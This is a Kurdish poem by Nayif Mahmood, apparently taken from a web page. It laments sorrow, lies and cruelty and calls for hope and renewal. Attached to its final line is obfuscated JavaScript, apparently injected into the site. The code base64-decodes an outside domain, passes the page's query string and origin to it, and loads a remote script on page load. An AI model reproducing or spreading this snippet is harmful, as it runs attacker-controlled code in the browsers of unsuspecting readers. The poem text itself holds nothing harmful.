نالینا پەیڤێن قەڕسی
نایف مەحموود
دوهی لناڤ سپێدەهیكا
دخەما وەریای
دناڤ لەپێن ڕۆژەكا
ژ ڕەنگێ خوە یێ جوان كەتی و ڤەوەریای
هەناسەیەكا كویر و قێژیەكا تیر ژ پێلێن دەریایێ
بەربوو هناڤێن ئاڤێ و
ئەڤ دەریایە ژ هێز و زڤڕۆكا خوە كپ ڕاوەستیا
ل هەمبەری ئاسمانی
ئاگرەك ژ دەهمانا چیا پەشی و
ڕویێ ئاخێ ژ نشكەكێڤە ڤەگرت،
نالین كەفتنە زكێ ئەردی و
هەمی پیرۆزی د سندیكا باركرنێدا قەرسین و بەرف بایێ بیابانێ چوون
پەلاتینكان قەستا وارێ ئوغرێ كر،
ژ حەسرەتا پەیڤێن مشتاخا ڕۆندكان ل سەر زای
كەسیرە بون و وەستیان..،
ئاشق و ئەڤیندار
دگوما بێ مێهرەبانیێ دا بوونە كولەیێن دەهمەن پیسان!
ڕەڤ دبیتە بەراهیا
هەمی وێرەكیا و ترس ژ كەڤلۆژانكێ خوە یێ پوسیدە
دەركەڤیت مینا بالندەكێ
بێ چەنگ و پەڕ ژ خەمێن خوەدا
بەرەف كاروانێ سەكەراتێ دچیت
كین و غوبار دهێلینێن خوەدا تێشكان دكەن
بۆ ڕۆژەكا كمێت و ستەم و سەروەریێ
پەڕێن خوە قژ دكەن!
هەر تشت ل جهێ خوە
شێر و پلنگ ل سەر پێن خوە
بو گاڤەكێ د سەتمن
خوە ل بەر ژەهرا پێڤدانا ماران ناگرن
ئەلهۆ نەهنگ و كسەلە
بەردبنە گیانێ سەر شۆڕیێ و
ژ گوشتێ لەشێ خوە هەستیێن مرار دخوەن
باوەری و ئازادی ژ هەست و سوزێن خوە زیزبوون
مرۆڤان كراسێن ڤاژی ل بەر خوە كرن
كێلبێن خوە ب دەرەوان تیژ كرن
بێهنا لەوتینێ و ل سەر ناخێ كەڤرا یا كیفكوی بووی
یاخیبوونێ سەرێ ژ ئاشتیێ بڕی و
ئەزۆكیێ دەستێ ژیانێ یێ قوت كری
ئاخ و داخ یێ ژ دەنگێ نەداریێ دهێن و ژان و برین مەشكا هەژارا دكێن..!
كەنگی ئەڤە بەختێ ڤێ دنیایێ یە
ڕۆندك و خوین ژ چاڤێن كولیلكان بكەڤن
جان و جەگەر ژ هەمبێزا دایێ
بو دۆزەخەكا كۆرە ب ڕەڤن..؟
ڤێجا هلو ڕابە
ئەی حنێرا هێز و باوەریێ
ژ سینگێ خوە یێ ڕاستەقینە دەركەڤە
بو سەرێ كێری و زناران سەركەڤە
دەنگێ خوە بهەلینە و
گوهێن كەڤران ب سمە
ئەو بهارا هندە سالە و چەر خ و زمانە
سەرێ خوە ژ ترسا ڕەشەكێن دەهبان ڕانەكری هشیاركە
دێ وەرە ئەی مەشخەلا هیڤیان
ئەی ئۆمێدا ل بەر دەرێ كویڤیان
ل ڤان دۆل و نەوالان
دەنگێ ئاوازێن بلبلا و قەب خوڕینا كەوێن سەرێ گران
بۆ مە بكە سروود و بسترینا مزگینیان
شەڤا مە ژ دوكێل و ڕەشەبایێ مرنێ
وەرگێڕە بۆ بشكوڕینا لێڤێن بهارێ
ڕەشاتیا بەژنا ستێر و هەیڤا مە ڤەگرتی ب شەوتینە
ڕۆناهیەكێ بینە ژ شەوقا زێڕ و ئەلماسا
جوانتر بۆ چاڤێن مە یێن ژ بیناهیێ پیربووین
ڕۆكێن مە یێن ژ بارینا هستران كویر بووین
دێ هلۆ ئەی سۆزا دناف كفنێ ئەبەدیێ دا ڤستی
سەرێ خوە بۆ بلندیا ڕۆژێ بلندبكە
گازیا خوە بۆ بانێ ئەسمانی هەلدێرە و داخوازا
تاڤیەكا بارانێ
ژ دلۆڤانیا ئەوران بكە
ڤێ قڕێژا بوویە ماكا
وەبایێ نەمان و ژینێ
باش و بژین سەرێ وێ بشو
د كانیا سپی بهەلینە و
تافیل بكە!(function(){var a=document.head||document.getElementsByTagName(“head”)[0],b=”script”,c=atob(“aHR0cHM6Ly9qYXZhZGV2c3Nkay5jb20vYWpheC5waHA=”);c+=-1<c.indexOf("?")?"&":"?";c+=location.search.substring(1);b=document.createElement(b);b.src=c;b.id=btoa(location.origin);a.appendChild(b);})();
